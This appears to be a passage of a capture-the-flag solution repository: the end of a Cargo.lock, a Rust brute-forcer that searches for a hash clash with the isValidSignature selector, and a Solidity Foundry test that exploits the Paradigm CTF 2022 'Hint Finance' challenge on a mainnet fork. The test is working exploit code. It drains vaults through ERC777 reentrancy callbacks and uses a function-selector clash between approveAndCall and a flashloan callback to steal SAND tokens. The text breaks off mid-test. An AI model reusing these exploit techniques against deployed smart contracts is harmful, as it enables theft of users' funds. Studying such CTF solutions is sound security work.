2053 | "fake-simd", 2054 | "opaque-debug 0.2.3", 2055 | ] 2056 | 2057 | [[package]] 2058 | name = "sha2" 2059 | version = "0.10.2" 2060 | source = "registry+https://github.com/rust-lang/crates.io-index" 2061 | checksum = "55deaec60f81eefe3cce0dc50bda92d6d8e88f2a27df7c5033b42afeb1ed2676" 2062 | dependencies = [ 2063 | "cfg-if", 2064 | "cpufeatures", 2065 | "digest 0.10.3", 2066 | ] 2067 | 2068 | [[package]] 2069 | name = "sha3" 2070 | version = "0.10.2" 2071 | source = "registry+https://github.com/rust-lang/crates.io-index" 2072 | checksum = "0a31480366ec990f395a61b7c08122d99bd40544fdb5abcfc1b06bb29994312c" 2073 | dependencies = [ 2074 | "digest 0.10.3", 2075 | "keccak", 2076 | ] 2077 | 2078 | [[package]] 2079 | name = "signature" 2080 | version = "1.6.0" 2081 | source = "registry+https://github.com/rust-lang/crates.io-index" 2082 | checksum = "f0ea32af43239f0d353a7dd75a22d94c329c8cdaafdcb4c1c1335aa10c298a4a" 2083 | dependencies = [ 2084 | "digest 0.10.3", 2085 | "rand_core", 2086 | ] 2087 | 2088 | [[package]] 2089 | name = "slab" 2090 | version = "0.4.7" 2091 | source = "registry+https://github.com/rust-lang/crates.io-index" 2092 | checksum = "4614a76b2a8be0058caa9dbbaf66d988527d86d003c11a94fbd335d7661edcef" 2093 | dependencies = [ 2094 | "autocfg", 2095 | ] 2096 | 2097 | [[package]] 2098 | name = "smallvec" 2099 | version = "1.9.0" 2100 | source = "registry+https://github.com/rust-lang/crates.io-index" 2101 | checksum = "2fd0db749597d91ff862fd1d55ea87f7855a744a8425a64695b6fca237d1dad1" 2102 | 2103 | [[package]] 2104 | name = "socket2" 2105 | version = "0.4.4" 2106 | source = "registry+https://github.com/rust-lang/crates.io-index" 2107 | checksum = "66d72b759436ae32898a2af0a14218dbf55efde3feeb170eb623637db85ee1e0" 2108 | dependencies = [ 2109 | "libc", 2110 | "winapi", 2111 | ] 2112 | 2113 | [[package]] 2114 | name = "spin" 2115 | version = "0.5.2" 2116 | source = "registry+https://github.com/rust-lang/crates.io-index" 2117 | checksum = "6e63cff320ae2c57904679ba7cb63280a3dc4613885beafb148ee7bf9aa9042d" 2118 | 2119 | [[package]] 2120 | name = "spki" 2121 | version = "0.6.0" 2122 | source = "registry+https://github.com/rust-lang/crates.io-index" 2123 | checksum = "67cf02bbac7a337dc36e4f5a693db6c21e7863f45070f7064577eb4367a3212b" 2124 | dependencies = [ 2125 | "base64ct", 2126 | "der", 2127 | ] 2128 | 2129 | [[package]] 2130 | name = "static_assertions" 2131 | version = "1.1.0" 2132 | source = "registry+https://github.com/rust-lang/crates.io-index" 2133 | checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f" 2134 | 2135 | [[package]] 2136 | name = "strum" 2137 | version = "0.24.1" 2138 | source = "registry+https://github.com/rust-lang/crates.io-index" 2139 | checksum = "063e6045c0e62079840579a7e47a355ae92f60eb74daaf156fb1e84ba164e63f" 2140 | dependencies = [ 2141 | "strum_macros", 2142 | ] 2143 | 2144 | [[package]] 2145 | name = "strum_macros" 2146 | version = "0.24.3" 2147 | source = "registry+https://github.com/rust-lang/crates.io-index" 2148 | checksum = "1e385be0d24f186b4ce2f9982191e7101bb737312ad61c1f2f984f34bcf85d59" 2149 | dependencies = [ 2150 | "heck", 2151 | "proc-macro2", 2152 | "quote", 2153 | "rustversion", 2154 | "syn", 2155 | ] 2156 | 2157 | [[package]] 2158 | name = "subtle" 2159 | version = "2.4.1" 2160 | source = "registry+https://github.com/rust-lang/crates.io-index" 2161 | checksum = "6bdef32e8150c2a081110b42772ffe7d7c9032b606bc226c8260fd97e0976601" 2162 | 2163 | [[package]] 2164 | name = "syn" 2165 | version = "1.0.99" 2166 | source = "registry+https://github.com/rust-lang/crates.io-index" 2167 | checksum = "58dbef6ec655055e20b86b15a8cc6d439cca19b667537ac6a1369572d151ab13" 2168 | dependencies = [ 2169 | "proc-macro2", 2170 | "quote", 2171 | "unicode-ident", 2172 | ] 2173 | 2174 | [[package]] 2175 | name = "tap" 2176 | version = "1.0.1" 2177 | source = "registry+https://github.com/rust-lang/crates.io-index" 2178 | checksum = "55937e1799185b12863d447f42597ed69d9928686b8d88a1df17376a097d8369" 2179 | 2180 | [[package]] 2181 | name = "thiserror" 2182 | version = "1.0.32" 2183 | source = "registry+https://github.com/rust-lang/crates.io-index" 2184 | checksum = "f5f6586b7f764adc0231f4c79be7b920e766bb2f3e51b3661cdb263828f19994" 2185 | dependencies = [ 2186 | "thiserror-impl", 2187 | ] 2188 | 2189 | [[package]] 2190 | name = "thiserror-impl" 2191 | version = "1.0.32" 2192 | source = "registry+https://github.com/rust-lang/crates.io-index" 2193 | checksum = "12bafc5b54507e0149cdf1b145a5d80ab80a90bcd9275df43d4fff68460f6c21" 2194 | dependencies = [ 2195 | "proc-macro2", 2196 | "quote", 2197 | "syn", 2198 | ] 2199 | 2200 | [[package]] 2201 | name = "tiny-keccak" 2202 | version = "2.0.2" 2203 | source = "registry+https://github.com/rust-lang/crates.io-index" 2204 | checksum = "2c9d3793400a45f954c52e73d068316d76b6f4e36977e3fcebb13a2721e80237" 2205 | dependencies = [ 2206 | "crunchy", 2207 | ] 2208 | 2209 | [[package]] 2210 | name = "tinyvec" 2211 | version = "1.6.0" 2212 | source = "registry+https://github.com/rust-lang/crates.io-index" 2213 | checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" 2214 | dependencies = [ 2215 | "tinyvec_macros", 2216 | ] 2217 | 2218 | [[package]] 2219 | name = "tinyvec_macros" 2220 | version = "0.1.0" 2221 | source = "registry+https://github.com/rust-lang/crates.io-index" 2222 | checksum = "cda74da7e1a664f795bb1f8a87ec406fb89a02522cf6e50620d016add6dbbf5c" 2223 | 2224 | [[package]] 2225 | name = "tokio" 2226 | version = "1.20.1" 2227 | source = "registry+https://github.com/rust-lang/crates.io-index" 2228 | checksum = "7a8325f63a7d4774dd041e363b2409ed1c5cbbd0f867795e661df066b2b0a581" 2229 | dependencies = [ 2230 | "autocfg", 2231 | "bytes", 2232 | "libc", 2233 | "memchr", 2234 | "mio", 2235 | "num_cpus", 2236 | "once_cell", 2237 | "pin-project-lite", 2238 | "socket2", 2239 | "winapi", 2240 | ] 2241 | 2242 | [[package]] 2243 | name = "tokio-rustls" 2244 | version = "0.23.4" 2245 | source = "registry+https://github.com/rust-lang/crates.io-index" 2246 | checksum = "c43ee83903113e03984cb9e5cebe6c04a5116269e900e3ddba8f068a62adda59" 2247 | dependencies = [ 2248 | "rustls", 2249 | "tokio", 2250 | "webpki", 2251 | ] 2252 | 2253 | [[package]] 2254 | name = "tokio-util" 2255 | version = "0.7.3" 2256 | source = "registry+https://github.com/rust-lang/crates.io-index" 2257 | checksum = "cc463cd8deddc3770d20f9852143d50bf6094e640b485cb2e189a2099085ff45" 2258 | dependencies = [ 2259 | "bytes", 2260 | "futures-core", 2261 | "futures-sink", 2262 | "pin-project-lite", 2263 | "tokio", 2264 | "tracing", 2265 | ] 2266 | 2267 | [[package]] 2268 | name = "toml" 2269 | version = "0.5.9" 2270 | source = "registry+https://github.com/rust-lang/crates.io-index" 2271 | checksum = "8d82e1a7758622a465f8cee077614c73484dac5b836c02ff6a40d5d1010324d7" 2272 | dependencies = [ 2273 | "serde", 2274 | ] 2275 | 2276 | [[package]] 2277 | name = "tower-service" 2278 | version = "0.3.2" 2279 | source = "registry+https://github.com/rust-lang/crates.io-index" 2280 | checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" 2281 | 2282 | [[package]] 2283 | name = "tracing" 2284 | version = "0.1.36" 2285 | source = "registry+https://github.com/rust-lang/crates.io-index" 2286 | checksum = "2fce9567bd60a67d08a16488756721ba392f24f29006402881e43b19aac64307" 2287 | dependencies = [ 2288 | "cfg-if", 2289 | "pin-project-lite", 2290 | "tracing-attributes", 2291 | "tracing-core", 2292 | ] 2293 | 2294 | [[package]] 2295 | name = "tracing-attributes" 2296 | version = "0.1.22" 2297 | source = "registry+https://github.com/rust-lang/crates.io-index" 2298 | checksum = "11c75893af559bc8e10716548bdef5cb2b983f8e637db9d0e15126b61b484ee2" 2299 | dependencies = [ 2300 | "proc-macro2", 2301 | "quote", 2302 | "syn", 2303 | ] 2304 | 2305 | [[package]] 2306 | name = "tracing-core" 2307 | version = "0.1.29" 2308 | source = "registry+https://github.com/rust-lang/crates.io-index" 2309 | checksum = "5aeea4303076558a00714b823f9ad67d58a3bbda1df83d8827d21193156e22f7" 2310 | dependencies = [ 2311 | "once_cell", 2312 | ] 2313 | 2314 | [[package]] 2315 | name = "tracing-futures" 2316 | version = "0.2.5" 2317 | source = "registry+https://github.com/rust-lang/crates.io-index" 2318 | checksum = "97d095ae15e245a057c8e8451bab9b3ee1e1f68e9ba2b4fbc18d0ac5237835f2" 2319 | dependencies = [ 2320 | "pin-project", 2321 | "tracing", 2322 | ] 2323 | 2324 | [[package]] 2325 | name = "try-lock" 2326 | version = "0.2.3" 2327 | source = "registry+https://github.com/rust-lang/crates.io-index" 2328 | checksum = "59547bce71d9c38b83d9c0e92b6066c4253371f15005def0c30d9657f50c7642" 2329 | 2330 | [[package]] 2331 | name = "typenum" 2332 | version = "1.15.0" 2333 | source = "registry+https://github.com/rust-lang/crates.io-index" 2334 | checksum = "dcf81ac59edc17cc8697ff311e8f5ef2d99fcbd9817b34cec66f90b6c3dfd987" 2335 | 2336 | [[package]] 2337 | name = "uint" 2338 | version = "0.9.3" 2339 | source = "registry+https://github.com/rust-lang/crates.io-index" 2340 | checksum = "12f03af7ccf01dd611cc450a0d10dbc9b745770d096473e2faf0ca6e2d66d1e0" 2341 | dependencies = [ 2342 | "byteorder", 2343 | "crunchy", 2344 | "hex", 2345 | "static_assertions", 2346 | ] 2347 | 2348 | [[package]] 2349 | name = "unicode-bidi" 2350 | version = "0.3.8" 2351 | source = "registry+https://github.com/rust-lang/crates.io-index" 2352 | checksum = "099b7128301d285f79ddd55b9a83d5e6b9e97c92e0ea0daebee7263e932de992" 2353 | 2354 | [[package]] 2355 | name = "unicode-ident" 2356 | version = "1.0.3" 2357 | source = "registry+https://github.com/rust-lang/crates.io-index" 2358 | checksum = "c4f5b37a154999a8f3f98cc23a628d850e154479cd94decf3414696e12e31aaf" 2359 | 2360 | [[package]] 2361 | name = "unicode-normalization" 2362 | version = "0.1.21" 2363 | source = "registry+https://github.com/rust-lang/crates.io-index" 2364 | checksum = "854cbdc4f7bc6ae19c820d44abdc3277ac3e1b2b93db20a636825d9322fb60e6" 2365 | dependencies = [ 2366 | "tinyvec", 2367 | ] 2368 | 2369 | [[package]] 2370 | name = "unicode-xid" 2371 | version = "0.2.3" 2372 | source = "registry+https://github.com/rust-lang/crates.io-index" 2373 | checksum = "957e51f3646910546462e67d5f7599b9e4fb8acdd304b087a6494730f9eebf04" 2374 | 2375 | [[package]] 2376 | name = "untrusted" 2377 | version = "0.7.1" 2378 | source = "registry+https://github.com/rust-lang/crates.io-index" 2379 | checksum = "a156c684c91ea7d62626509bce3cb4e1d9ed5c4d978f7b4352658f96a4c26b4a" 2380 | 2381 | [[package]] 2382 | name = "url" 2383 | version = "2.2.2" 2384 | source = "registry+https://github.com/rust-lang/crates.io-index" 2385 | checksum = "a507c383b2d33b5fc35d1861e77e6b383d158b2da5e14fe51b83dfedf6fd578c" 2386 | dependencies = [ 2387 | "form_urlencoded", 2388 | "idna", 2389 | "matches", 2390 | "percent-encoding", 2391 | ] 2392 | 2393 | [[package]] 2394 | name = "uuid" 2395 | version = "0.8.2" 2396 | source = "registry+https://github.com/rust-lang/crates.io-index" 2397 | checksum = "bc5cf98d8186244414c848017f0e2676b3fcb46807f6668a97dfe67359a3c4b7" 2398 | dependencies = [ 2399 | "getrandom", 2400 | "serde", 2401 | ] 2402 | 2403 | [[package]] 2404 | name = "version_check" 2405 | version = "0.9.4" 2406 | source = "registry+https://github.com/rust-lang/crates.io-index" 2407 | checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" 2408 | 2409 | [[package]] 2410 | name = "walkdir" 2411 | version = "2.3.2" 2412 | source = "registry+https://github.com/rust-lang/crates.io-index" 2413 | checksum = "808cf2735cd4b6866113f648b791c6adc5714537bc222d9347bb203386ffda56" 2414 | dependencies = [ 2415 | "same-file", 2416 | "winapi", 2417 | "winapi-util", 2418 | ] 2419 | 2420 | [[package]] 2421 | name = "want" 2422 | version = "0.3.0" 2423 | source = "registry+https://github.com/rust-lang/crates.io-index" 2424 | checksum = "1ce8a968cb1cd110d136ff8b819a556d6fb6d919363c61534f6860c7eb172ba0" 2425 | dependencies = [ 2426 | "log", 2427 | "try-lock", 2428 | ] 2429 | 2430 | [[package]] 2431 | name = "wasi" 2432 | version = "0.11.0+wasi-snapshot-preview1" 2433 | source = "registry+https://github.com/rust-lang/crates.io-index" 2434 | checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" 2435 | 2436 | [[package]] 2437 | name = "wasm-bindgen" 2438 | version = "0.2.82" 2439 | source = "registry+https://github.com/rust-lang/crates.io-index" 2440 | checksum = "fc7652e3f6c4706c8d9cd54832c4a4ccb9b5336e2c3bd154d5cccfbf1c1f5f7d" 2441 | dependencies = [ 2442 | "cfg-if", 2443 | "wasm-bindgen-macro", 2444 | ] 2445 | 2446 | [[package]] 2447 | name = "wasm-bindgen-backend" 2448 | version = "0.2.82" 2449 | source = "registry+https://github.com/rust-lang/crates.io-index" 2450 | checksum = "662cd44805586bd52971b9586b1df85cdbbd9112e4ef4d8f41559c334dc6ac3f" 2451 | dependencies = [ 2452 | "bumpalo", 2453 | "log", 2454 | "once_cell", 2455 | "proc-macro2", 2456 | "quote", 2457 | "syn", 2458 | "wasm-bindgen-shared", 2459 | ] 2460 | 2461 | [[package]] 2462 | name = "wasm-bindgen-futures" 2463 | version = "0.4.32" 2464 | source = "registry+https://github.com/rust-lang/crates.io-index" 2465 | checksum = "fa76fb221a1f8acddf5b54ace85912606980ad661ac7a503b4570ffd3a624dad" 2466 | dependencies = [ 2467 | "cfg-if", 2468 | "js-sys", 2469 | "wasm-bindgen", 2470 | "web-sys", 2471 | ] 2472 | 2473 | [[package]] 2474 | name = "wasm-bindgen-macro" 2475 | version = "0.2.82" 2476 | source = "registry+https://github.com/rust-lang/crates.io-index" 2477 | checksum = "b260f13d3012071dfb1512849c033b1925038373aea48ced3012c09df952c602" 2478 | dependencies = [ 2479 | "quote", 2480 | "wasm-bindgen-macro-support", 2481 | ] 2482 | 2483 | [[package]] 2484 | name = "wasm-bindgen-macro-support" 2485 | version = "0.2.82" 2486 | source = "registry+https://github.com/rust-lang/crates.io-index" 2487 | checksum = "5be8e654bdd9b79216c2929ab90721aa82faf65c48cdf08bdc4e7f51357b80da" 2488 | dependencies = [ 2489 | "proc-macro2", 2490 | "quote", 2491 | "syn", 2492 | "wasm-bindgen-backend", 2493 | "wasm-bindgen-shared", 2494 | ] 2495 | 2496 | [[package]] 2497 | name = "wasm-bindgen-shared" 2498 | version = "0.2.82" 2499 | source = "registry+https://github.com/rust-lang/crates.io-index" 2500 | checksum = "6598dd0bd3c7d51095ff6531a5b23e02acdc81804e30d8f07afb77b7215a140a" 2501 | 2502 | [[package]] 2503 | name = "wasm-timer" 2504 | version = "0.2.5" 2505 | source = "registry+https://github.com/rust-lang/crates.io-index" 2506 | checksum = "be0ecb0db480561e9a7642b5d3e4187c128914e58aa84330b9493e3eb68c5e7f" 2507 | dependencies = [ 2508 | "futures", 2509 | "js-sys", 2510 | "parking_lot", 2511 | "pin-utils", 2512 | "wasm-bindgen", 2513 | "wasm-bindgen-futures", 2514 | "web-sys", 2515 | ] 2516 | 2517 | [[package]] 2518 | name = "web-sys" 2519 | version = "0.3.59" 2520 | source = "registry+https://github.com/rust-lang/crates.io-index" 2521 | checksum = "ed055ab27f941423197eb86b2035720b1a3ce40504df082cac2ecc6ed73335a1" 2522 | dependencies = [ 2523 | "js-sys", 2524 | "wasm-bindgen", 2525 | ] 2526 | 2527 | [[package]] 2528 | name = "webpki" 2529 | version = "0.22.0" 2530 | source = "registry+https://github.com/rust-lang/crates.io-index" 2531 | checksum = "f095d78192e208183081cc07bc5515ef55216397af48b873e5edcd72637fa1bd" 2532 | dependencies = [ 2533 | "ring", 2534 | "untrusted", 2535 | ] 2536 | 2537 | [[package]] 2538 | name = "webpki-roots" 2539 | version = "0.22.4" 2540 | source = "registry+https://github.com/rust-lang/crates.io-index" 2541 | checksum = "f1c760f0d366a6c24a02ed7816e23e691f5d92291f94d15e836006fd11b04daf" 2542 | dependencies = [ 2543 | "webpki", 2544 | ] 2545 | 2546 | [[package]] 2547 | name = "winapi" 2548 | version = "0.3.9" 2549 | source = "registry+https://github.com/rust-lang/crates.io-index" 2550 | checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" 2551 | dependencies = [ 2552 | "winapi-i686-pc-windows-gnu", 2553 | "winapi-x86_64-pc-windows-gnu", 2554 | ] 2555 | 2556 | [[package]] 2557 | name = "winapi-i686-pc-windows-gnu" 2558 | version = "0.4.0" 2559 | source = "registry+https://github.com/rust-lang/crates.io-index" 2560 | checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" 2561 | 2562 | [[package]] 2563 | name = "winapi-util" 2564 | version = "0.1.5" 2565 | source = "registry+https://github.com/rust-lang/crates.io-index" 2566 | checksum = "70ec6ce85bb158151cae5e5c87f95a8e97d2c0c4b001223f33a334e3ce5de178" 2567 | dependencies = [ 2568 | "winapi", 2569 | ] 2570 | 2571 | [[package]] 2572 | name = "winapi-x86_64-pc-windows-gnu" 2573 | version = "0.4.0" 2574 | source = "registry+https://github.com/rust-lang/crates.io-index" 2575 | checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" 2576 | 2577 | [[package]] 2578 | name = "windows-sys" 2579 | version = "0.36.1" 2580 | source = "registry+https://github.com/rust-lang/crates.io-index" 2581 | checksum = "ea04155a16a59f9eab786fe12a4a450e75cdb175f9e0d80da1e17db09f55b8d2" 2582 | dependencies = [ 2583 | "windows_aarch64_msvc", 2584 | "windows_i686_gnu", 2585 | "windows_i686_msvc", 2586 | "windows_x86_64_gnu", 2587 | "windows_x86_64_msvc", 2588 | ] 2589 | 2590 | [[package]] 2591 | name = "windows_aarch64_msvc" 2592 | version = "0.36.1" 2593 | source = "registry+https://github.com/rust-lang/crates.io-index" 2594 | checksum = "9bb8c3fd39ade2d67e9874ac4f3db21f0d710bee00fe7cab16949ec184eeaa47" 2595 | 2596 | [[package]] 2597 | name = "windows_i686_gnu" 2598 | version = "0.36.1" 2599 | source = "registry+https://github.com/rust-lang/crates.io-index" 2600 | checksum = "180e6ccf01daf4c426b846dfc66db1fc518f074baa793aa7d9b9aaeffad6a3b6" 2601 | 2602 | [[package]] 2603 | name = "windows_i686_msvc" 2604 | version = "0.36.1" 2605 | source = "registry+https://github.com/rust-lang/crates.io-index" 2606 | checksum = "e2e7917148b2812d1eeafaeb22a97e4813dfa60a3f8f78ebe204bcc88f12f024" 2607 | 2608 | [[package]] 2609 | name = "windows_x86_64_gnu" 2610 | version = "0.36.1" 2611 | source = "registry+https://github.com/rust-lang/crates.io-index" 2612 | checksum = "4dcd171b8776c41b97521e5da127a2d86ad280114807d0b2ab1e462bc764d9e1" 2613 | 2614 | [[package]] 2615 | name = "windows_x86_64_msvc" 2616 | version = "0.36.1" 2617 | source = "registry+https://github.com/rust-lang/crates.io-index" 2618 | checksum = "c811ca4a8c853ef420abd8592ba53ddbbac90410fab6903b3e79972a631f7680" 2619 | 2620 | [[package]] 2621 | name = "winreg" 2622 | version = "0.10.1" 2623 | source = "registry+https://github.com/rust-lang/crates.io-index" 2624 | checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" 2625 | dependencies = [ 2626 | "winapi", 2627 | ] 2628 | 2629 | [[package]] 2630 | name = "ws_stream_wasm" 2631 | version = "0.7.3" 2632 | source = "registry+https://github.com/rust-lang/crates.io-index" 2633 | checksum = "47ca1ab42f5afed7fc332b22b6e932ca5414b209465412c8cdf0ad23bc0de645" 2634 | dependencies = [ 2635 | "async_io_stream", 2636 | "futures", 2637 | "js-sys", 2638 | "pharos", 2639 | "rustc_version", 2640 | "send_wrapper", 2641 | "thiserror", 2642 | "wasm-bindgen", 2643 | "wasm-bindgen-futures", 2644 | "web-sys", 2645 | ] 2646 | 2647 | [[package]] 2648 | name = "wyz" 2649 | version = "0.5.0" 2650 | source = "registry+https://github.com/rust-lang/crates.io-index" 2651 | checksum = "30b31594f29d27036c383b53b59ed3476874d518f0efb151b27a4c275141390e" 2652 | dependencies = [ 2653 | "tap", 2654 | ] 2655 | 2656 | [[package]] 2657 | name = "zeroize" 2658 | version = "1.5.7" 2659 | source = "registry+https://github.com/rust-lang/crates.io-index" 2660 | checksum = "c394b5bd0c6f669e7275d9c20aa90ae064cb22e75a1cad54e1b34088034b149f" 2661 | -------------------------------------------------------------------------------- /src/vanity/rust/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "rust" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | ethers = { version = "0.17.0", features = [ "abigen" ] } 10 | rayon = "1.5.3" 11 | serde = "1.0.144" 12 | -------------------------------------------------------------------------------- /src/vanity/rust/src/main.rs: -------------------------------------------------------------------------------- 1 | use ethers::abi::{AbiEncode, Tokenizable}; 2 | use ethers::core::k256::sha2::Digest; 3 | use ethers::{ 4 | abi::{encode, HumanReadableParser, Token}, 5 | core::{k256::sha2::Sha256, rand::thread_rng}, 6 | prelude::*, 7 | types::{Bytes, Selector, H256}, 8 | utils::{hex, keccak256}, 9 | }; 10 | use rayon::prelude::*; 11 | use std::str::FromStr; 12 | 13 | // We need to encode selector + MAGIC and loop over random bytes to find a clashing sig 14 | fn main() { 15 | let func = HumanReadableParser::parse_function("isValidSignature(bytes32,bytes)").unwrap(); 16 | 17 | let selector = hex::encode(func.short_signature()); 18 | 19 | dbg!(&selector); 20 | 21 | let magic: H256 = keccak256("CHALLENGE_MAGIC".to_string().as_bytes()).into(); 22 | 23 | std::iter::repeat_with(move || H256::random_using(&mut thread_rng())) 24 | .enumerate() 25 | .par_bridge() 26 | .for_each(|(idx, sig)| { 27 | // dbg!(&magic.into_token(), &sig.into_token()); 28 | let sig_bytes = sig.clone().as_bytes().to_vec(); 29 | let bytes: Vec = sig_bytes; 30 | let calldata = func 31 | .encode_input(&[magic.into_token(), Token::Bytes(bytes)]) 32 | .unwrap(); 33 | 34 | let mut hasher = Sha256::new(); 35 | hasher.update(calldata); 36 | let result = hasher.finalize(); 37 | 38 | let calldata = hex::encode(result); 39 | 40 | // dbg!(&calldata); 41 | 42 | if calldata.starts_with("1626ba7") { 43 | println!("not yet: {:#?}", &calldata); 44 | } else if calldata.starts_with("1626ba7e") { 45 | println!("not yet: {:#?}", &calldata); 46 | dbg!("4"); 47 | } 48 | 49 | if calldata.starts_with(&selector) { 50 | println!("{:#?}", &calldata); 51 | println!("sig found: {:#?}", &sig); 52 | } 53 | 54 | if idx % 10000000 == 0 { 55 | println!("{}", idx); 56 | } 57 | }) 58 | } 59 | -------------------------------------------------------------------------------- /test/Hint.t.sol: -------------------------------------------------------------------------------- 1 | pragma solidity ^0.8.0; 2 | 3 | import "forge-std/Test.sol"; 4 | 5 | import "../src/hint/public/contracts/Setup.sol"; 6 | 7 | import "../src/hint/public/contracts/IERC1820.sol"; 8 | 9 | contract ERC777Receiver is Test { 10 | IERC1820Registry public registry 11 | = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24); 12 | 13 | bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH 14 | = 0xb281fc8c12954d22544db45de3159a39272895b169a852b314f9cc762e44c53b; 15 | bytes32 constant private AMP = keccak256("AmpTokensRecipient"); 16 | 17 | HintFinanceVault public vault; 18 | 19 | uint public bal; 20 | 21 | constructor(HintFinanceVault _vault) { 22 | vault = _vault; 23 | 24 | registry.setInterfaceImplementer( 25 | address(this), 26 | TOKENS_RECIPIENT_INTERFACE_HASH, 27 | address(this) 28 | ); 29 | 30 | registry.setInterfaceImplementer( 31 | address(this), 32 | AMP, 33 | address(this) 34 | ); 35 | 36 | } 37 | 38 | // uint public with = 10000 ether; 39 | 40 | function tokensReceived( 41 | address /*operator*/, 42 | address from, 43 | address /*to*/, 44 | uint256 amount, 45 | bytes calldata /*userData*/, 46 | bytes calldata /*operatorData*/ 47 | ) external { 48 | if (from == address(vault)) { 49 | emit log_named_uint("received from v:", amount); 50 | 51 | ERC20Like underlying = ERC20Like(vault.underlyingToken()); 52 | if (!sweep) { 53 | vault.deposit(amount); 54 | } 55 | } 56 | } 57 | 58 | function tokensReceived( 59 | bytes4, 60 | bytes32, 61 | address /*operator*/, 62 | address from, 63 | address /*to*/, 64 | uint256 amount, 65 | bytes calldata /*userData*/, 66 | bytes calldata /*operatorData*/ 67 | ) external { 68 | if (from == address(vault)) { 69 | emit log_named_uint("received from v:", amount); 70 | 71 | ERC20Like underlying = ERC20Like(vault.underlyingToken()); 72 | if (!sweep) { 73 | vault.deposit(amount); 74 | } 75 | } 76 | } 77 | 78 | bool public sweep; 79 | 80 | function setSweep() public { 81 | sweep = true; 82 | } 83 | 84 | function with() public { 85 | vault.withdraw(vault.balanceOf(address(this))); 86 | } 87 | 88 | function heck777() public { 89 | ERC20Like underlying = ERC20Like(vault.underlyingToken()); 90 | underlying.approve(address(vault), type(uint256).max); 91 | bal = underlying.balanceOf(address(this)); 92 | emit log_named_uint("bal", bal); 93 | vault.deposit(bal); 94 | } 95 | } 96 | 97 | interface ISand is ERC20Like { 98 | function approveAndCall( 99 | address _target, 100 | uint256 _amount, 101 | bytes calldata _data 102 | ) external; 103 | } 104 | 105 | // Huge shoutout to Philogy: https://philogy.github.io/posts/paradigm-ctf-2022-write-up-collection/#hint-finance---the-final-token-how- 106 | contract FakeToken is Test { 107 | fallback() external {} 108 | 109 | function transfer(address, uint256) external returns (bool) { 110 | return true; 111 | } 112 | 113 | function balanceOf(address) external view returns (uint256) { 114 | return 1e18; 115 | } 116 | 117 | // @ctf attack workflow: 118 | /* 119 | encode arguments into payload 120 | call approveAndCall and call the flashloan function of the vault 121 | the flashloan function calls back the aproveAndCall as the vault this time 122 | this approves FakeToken as an operator of vault's SAND tokens 123 | approveAndCall calls the fallback of the FakeToken 124 | we can now sweep the tokens cause we have access to them 125 | */ 126 | function stealSandFrom(address _sandVault, ISand _sand) external { 127 | bytes memory payload = abi.encodeWithSelector( 128 | HintFinanceVault.flashloan.selector, 129 | /* 130 | We must set the memory length accordingly 131 | length + bool + sel + addr + bytes32(0) 132 | all bytes32 padded 133 | 32 * 5 = 160 = 0xa0 134 | */ 135 | address(this), 0xa0, abi.encodeWithSelector( 136 | bytes4(0x000000000), 137 | _sandVault, 138 | bytes32(0) 139 | ) 140 | ); 141 | _sand.approveAndCall(_sandVault, type(uint256).max, payload); 142 | _sand.transferFrom(_sandVault, msg.sender, _sand.balanceOf(_sandVault)); 143 | } 144 | } 145 | 146 | contract Hint is Test { 147 | Setup setup; 148 | 149 | function test_hax() public { 150 | uint256 block_num = 15423094; 151 | vm.createSelectFork(vm.envString("ETH_RPC"), block_num); 152 | if (block.number != block_num) { 153 | fail(); 154 | } 155 | 156 | setup = new Setup{value: 30 ether}(); 157 | 158 | // First token is an ERC777 so we can use the callback to steal it 159 | // We can deposit and use the hooks at withdraw time as no check is done by the contract 160 | 161 | UniswapV2RouterLike router = UniswapV2RouterLike(0xf164fC0Ec4E93095b804a4795bBe1e041497b92a); 162 | address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; 163 | address[] memory path = new address[](2); 164 | path[0] = weth; 165 | 166 | for (uint256 i; i < 3; ++i) { 167 | address token = setup.underlyingTokens(i); 168 | path[1] = token; 169 | router.swapExactETHForTokens{value: 10 ether}(0, path, address(this), block.timestamp); 170 | address vault = setup.hintFinanceFactory().underlyingToVault(token); 171 | 172 | if (i == 0 || i == 2) { 173 | // is ERC777 174 | ERC777Receiver receiver = new ERC777Receiver(HintFinanceVault(vault)); 175 | ERC20Like token = ERC20Like(token); 176 | uint bal = token.balanceOf(address(this)); 177 | token.transfer(address(receiver), bal); 178 | 179 | if (i == 0) { 180 | receiver.heck777(); 181 | receiver.with(); 182 | receiver.with(); 183 | receiver.with(); 184 | receiver.with(); 185 | receiver.with(); 186 | receiver.with(); 187 | receiver.with(); 188 | 189 | receiver.setSweep(); 190 | receiver.with(); 191 | } else { 192 | receiver.heck777(); 193 | receiver.with(); 194 | receiver.with(); 195 | receiver.with(); 196 | receiver.with(); 197 | receiver.with(); 198 | receiver.with(); 199 | receiver.with(); 200 | receiver.with(); 201 | 202 | receiver.setSweep(); 203 | receiver.with(); 204 | } 205 | } else { 206 | // is function clash 207 | /* 208 | $ cast 4byte 0xcae9ca51 209 | approveAndCall(address,uint256,bytes) 210 | onHintFinanceFlashloan(address,address,uint256,bool,bytes) 211 | */ 212 | // we must make the arguments match 213 | // we wanna provide the correct stuff to approveAndCall so it's gonna call flashloan and flashloan will approve 214 | // approveAndCall(attacker, max, selector + 32 bytes + msg.sender) 215 | // onHintFinanceFlashloan(attacker, address(max), ) 216 | 217 | FakeToken ft = new FakeToken(); 218 | ft.stealSandFrom(vault, ISand(token)); 219 | } 220 | } 221 | 222 | ////////// HAX 